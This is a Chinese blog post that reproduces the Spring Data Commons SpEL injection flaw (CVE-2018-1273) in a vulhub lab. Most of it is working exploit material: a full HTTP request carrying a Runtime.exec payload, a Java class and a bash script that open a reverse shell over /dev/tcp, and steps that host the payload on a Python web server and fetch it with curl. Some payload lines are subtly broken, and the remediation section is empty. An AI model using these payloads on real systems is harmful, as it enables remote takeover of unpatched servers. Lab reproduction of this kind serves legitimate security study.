目录

Fragrans 的个人博客

记录精彩的程序人生

X

vulhub中Spring之Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

@[TOC](vulhub中Spring之Spring Data Commons 远程命令执行漏洞(CVE-2018-1273))

漏洞复现

漏洞说明

CVE-2018-1273:Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

漏洞利用条件和方式

确认目标项目中包含Spring-data-commons包和版本范围如下

Spring Data Commons 1.13 to 1.13.10
Spring Data Commons 2.0 to 2.0.5
查看相关特性是否已经开启

  1. @ EnableSpringDataWebSupport被显示声明
  2. @ EnableSpringDataWebSupport没有显示声明,而是采用了spring-boot框架的自动扫描特性当采用Spring-boot的自动扫描特性的时候,在启动时会自动加载SpringDataWebConfiguration类效果与上述相同

3.在非注解声明项目中,如果有如下声明,也考虑开启了相关的特性

### 漏洞影响范围
  • Spring Data Commons 1.13至1.13.10(Ingalls SR10)
  • Spring Data REST 2.6至2.6.10(Ingalls SR10)
  • Spring Data Commons 2.0至2.0.5(Kay SR5)
  • Spring Data REST 3.0至3.0.5(Kay SR5)
  • 较旧的不受支持的版本也会受到影响

漏洞检测

环境搭建

执行下面命令启动漏洞环境:

docker-compose up -d

稍等一会,环境启动后,访问http://your-ip:8080/users,将可以看到一个用户注册页面。
在这里插入图片描述

漏洞复现

(1)创建文件
注册页面提交,抓包
在这里插入图片描述
修改数据包,创建文件:

// An highlighted block
POST /users?page=&size=5 HTTP/1.1
Host: 目标IP:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Origin: http://目标IP:8080
Connection: close
Referer: http://目标IP:8080/users
Cookie: JSESSIONID=ps12fFsDY1rHrl1gzRQ1l2yvZ9QlQvCwnHyvCMvw3v572s29yFrF!1613525042
Upgrade-Insecure-Requests: 1

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/test")]=&password=&repeatedPassword=

在这里插入图片描述
进入容器查看文件夹是否创建成功(文件创建成功~):
在这里插入图片描述
(2)反弹(针对java环境):

首先上传一个编译后的class文件:

Exploit.java文件如下:
```javascript
// 注意修改目标IP
//javac Exploit.java
public class Exploit{
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/目标IP/2222 0>&1");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}
// 反编译一下java文件
javac Exploit.java

将反编译后的文件放在攻击主机的/root目录下(目录可以自定义),然后在此目录下开启一个http服务,用于访问下载文件:

// 端口可以自行修改
python -m http.server 9999

访问当前主机开启的http服务查看是否开启成功,发现该目录下的Exploit.class访问即可下载

在这里插入图片描述

修改bp包中的内容,执行访问下载命令:

// An highlighted block
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("http://目标IP::9999/Exploit.class")]=&password=&repeatedPassword=

修改bp包中的内容,执行访问下载命令:
// An highlighted block
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("http://目标IP::9999 /Exploit.class")]=&password=&repeatedPassword=
在这里插入图片描述
我们可以看到成功下载该文件:
在这里插入图片描述

在这里插入图片描述
接下来考虑如何执行该文件,由于上一步中我们直接访问下载并未指定下载路径(下面有介绍使用curl wget可以指定下载路径 对应参数-o -P ),因此博主进入容器环境查看了一下下载的文件在/目录下,因此可以直接执行,修改包如下:

// java 直接执行class文件名不加后缀
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("http://目标IP:9999/Exploit.class")]=&password=&repeatedPassword=
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("java Exploit")]=&password=&repeatedPassword=

在这里插入图片描述
反弹成功~
3)反弹(针对bash环境):

与上面的思路大同小异,只是这里执行的文件为.sh

bash.sh文件内容为:

// 注意修改IP和端口
bash -i >& /dev/tcp/目标IP/2222 0>&1

将bash.sh上传到/root目录下,上述环境中已经提到如何操作,这里就不再赘述了,首先使用curl命令指定路径将bash.sh下载到目标主机/tmp/目录下:

// 下载文件
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("curl -o /tmp/bash.sh http://目标IP:9999/bash.sh")]=&password=&repeatedPassword=

在这里插入图片描述
在监听口可以知道文件已下载,开始执行命令:

// 执行.sh文件
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash /tmp/bash.sh")]=&password=&repeatedPassword=

在这里插入图片描述
反弹成功~

漏洞修复


标题:vulhub中Spring之Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
作者:Fragrans
地址:http://gsolo.xhtk.top/articles/2021/09/16/1631776076958.html